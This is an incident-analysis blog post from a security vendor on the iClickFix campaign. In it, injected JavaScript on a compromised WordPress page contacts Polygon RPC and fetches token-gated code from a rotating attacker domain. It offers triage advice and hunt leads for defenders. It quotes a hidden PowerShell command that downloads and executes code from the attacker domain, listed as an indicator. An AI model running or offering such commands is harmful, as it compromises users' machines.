The Detection Was Right. The Incident Narrative Was Wrong

How iClickFix turned a legitimate WordPress page into the source of a malicious-domain alert, and what SecOps teams should do differently.

Executive Summary

In mid-August 2026, the same threat-intelligence detection triggered at six unrelated Daylight customers, naming two domains from one rotating family: analysis-id-fmd[.]info and analysis-id-lfg[.]info.

At first glance, each event looked like a user visiting a malicious site. In the case we reconstructed end to end, nobody visited the attacker domain at all. The request originated from JavaScript injected into a legitimate retailer’s WordPress product page.

That page contacted Polygon blockchain RPC infrastructure before retrieving a JavaScript payload from analysis-id-lfg[.]info and posting a small callback to the same endpoint.

The detection was right. The incident narrative was wrong. For SecOps, that distinction matters: a browser-originated DNS or HTTP event does not prove user navigation. The better first question is not “why did the user visit this?” but “what caused this request, and did anything execute afterward?”

The activity is part of the iClickFix framework documented by Sekoia. Our analysis shows the same compromised-WordPress distribution model, but with a different next-stage sequence: legitimate WordPress page → Polygon RPC → rotating payload domain → token-gated JavaScript.

Multiple Customers, One Campaign

The same threat-intelligence pattern appeared at six unrelated Daylight customers over the course of a week, across both macOS and Windows endpoints.

The campaign also rotated infrastructure. Earlier activity involved analysis-id-fmd[.]info; later detections involved analysis-id-lfg[.]info. Rather than relying on a precise registration-to-detection timeline, the important point is that both variants appeared across unrelated production environments in a short window.

The additional cases strengthened the behavioral link as well. In one separate macOS investigation, Chrome contacted Polygon RPC infrastructure in the same activity window as analysis-id-lfg[.]info, independently reinforcing the browser-side RPC pattern we reconstructed in depth for Customer C.

That is where multi-tenant telemetry changes the picture. One organization sees one malicious-domain alert. Across six unrelated environments, the pattern becomes much clearer: shared infrastructure, domain rotation, and repeated browser-side behavior consistent with the same campaign.

Read individually, these were six customer cases. Read together, they showed one campaign.

The User Never Visited the Domain

“Intelligence Indicator – Domain” naturally suggests a simple story: a browser process requested a known-malicious domain, therefore the employee navigated there.

That inference is not always valid. Browsers make requests for many reasons beyond navigation, including redirects, page resources, extensions, and JavaScript executing inside another page.

We examined the browser history, including artifacts that can remain after entries are deleted. The attacker domain did not appear anywhere—not as a navigation, typed URL, page title, or deleted-history artifact. Chrome had never recorded a top-level visit to the domain, even though network telemetry showed the browser had contacted it.

The page active immediately before the alert was an ordinary organic-search visit. There was no evidence of a redirect, iframe, or other browser navigation that could explain the malicious-domain request.

Browser history gave us the legitimate page the user was viewing. The request log showed what happened next:

_{20:03:49  Document  GET   200  redacted-retailer[.]ro/<product-page>/}

_{20:03:50  XHR       POST  200  rpc.ankr[.]com/polygon}

_{20:03:51  XHR       POST  200  polygon.gateway.tenderly[.]co/}

_{20:03:51  Script    GET   200  analysis-id-lfg[.]info/api.php?s=...&_v=...   109.8 kB}

_{20:03:52  Fetch     POST  200  analysis-id-lfg[.]info/api.php                 24 B}

The order is the story:

Legitimate WordPress page → Polygon RPC → tokenized stage-two JavaScript → callback.

The user did not navigate to analysis-id-lfg[.]info. Code executing in the legitimate page did.

For this retailer, there was no apparent legitimate reason for the browser to contact Polygon RPC infrastructure. The RPC calls occurred immediately before the malicious payload retrieval, consistent with an EtherHiding-style technique in which blockchain infrastructure is used to locate or retrieve attacker-controlled configuration.

This Was iClickFix

Sekoia tracks iClickFix as a malicious JavaScript framework injected into compromised WordPress sites to deliver ClickFix lures. That distribution model matches what we observed: the victim reached a legitimate retailer through organic search, while injected JavaScript inside the page initiated the malicious request chain.

Our August 2026 capture adds a different next-stage sequence to the publicly documented picture. The compromised page contacted Polygon RPC infrastructure before retrieving token-gated JavaScript from the rotating analysis-id-* domain family.

The iClickFix linkage provides the campaign context; the Polygon RPC → analysis-id-* sequence is what we directly observed and should not be assumed to represent every iClickFix infection chain.

External campaign telemetry reinforces that this was not isolated to Daylight. ClickFix Hunter shows analysis-id-lfg[.]info embedded in PowerShell commands associated with multiple unrelated domains during the same period, using a recurring pattern such as powershell -w h "iex(irm 'analysis-id-lfg.info/<token>')"; exit. That provides external context for the likely downstream ClickFix execution path, but we did not directly observe the PowerShell stage in any of our customers.

What SecOps Teams Should Do Differently

• Establish request direction. A browser resolving a malicious domain should not automatically become “user visited malicious site.” Check whether there was a top-level navigation and identify the page active immediately before the request.
• Reconstruct the parent chain. Distinguish document navigation from script, XHR, fetch, iframe, prefetch, or extension activity. If a legitimate page generated the request, keep that page in scope.
• Hunt behavior, not only domains. rpc.ankr[.]com/polygon and polygon.gateway.tenderly[.]co are legitimate shared infrastructure, not malicious IOCs. But where browser-originated Web3 traffic is unusual, Polygon RPC calls during ordinary non-Web3 browsing can be a high-value signal when followed by JavaScript retrieval from a newly registered domain. The tokenized /api.php?s=...&_v=... pattern is also more durable than the hostname alone.
• Do not trust an empty response. In this case, a bare request to /api.php returned nothing, while the token-bearing request returned 109.8 kB of JavaScript. An empty sandbox result did not mean the infrastructure was inactive. Retrieval failure is not exoneration.
• Scope execution. A DNS or HTTP block can stop a later stage without undoing JavaScript that already executed in the page. After a hit, check endpoint telemetry for follow-on behavior such as browser or terminal child processes, PowerShell on Windows, osascript or shell activity on macOS, curl or wget, persistence, and other execution artifacts appropriate to the endpoint.
• Use iClickFix artifacts for correlation. The ic-tracker-js identifier and other iClickFix-specific code patterns documented by Sekoia can support site-side hunting and framework attribution, but are strongest when combined with the request-chain behavior above.
• A compact triage flow is: navigation or page-generated request? → what parent page and resource type? → unusual RPC or redirector activity? → was stage two retrieved? → any downstream execution? → does the chain match a known framework?

Observables and Hunt Leads

• analysis-id-fmd[.]info — earlier rotating payload-domain variant.
• analysis-id-lfg[.]info — later rotating payload-domain variant.
• analysis-id-lfg[.]info/api.php?s=<hex>&_v=<digits> — token-gated stage-two delivery pattern.
• rpc.ankr[.]com/polygon and polygon.gateway.tenderly[.]co — legitimate Polygon RPC infrastructure observed before stage two; contextual hunt only.
• ic-tracker-js — iClickFix framework artifact documented by Sekoia.
• powershell ... iex(irm 'analysis-id-lfg[.]info/<token>') — recurring ClickFix PowerShell retrieval/execution pattern observed in ClickFix Hunter; endpoint hunt lead, not directly observed in Customer C.

Daylight continuously monitors for emerging threats and updates detections as new campaign activity is identified. For questions about this research, contact the Daylight Threat Intelligence team.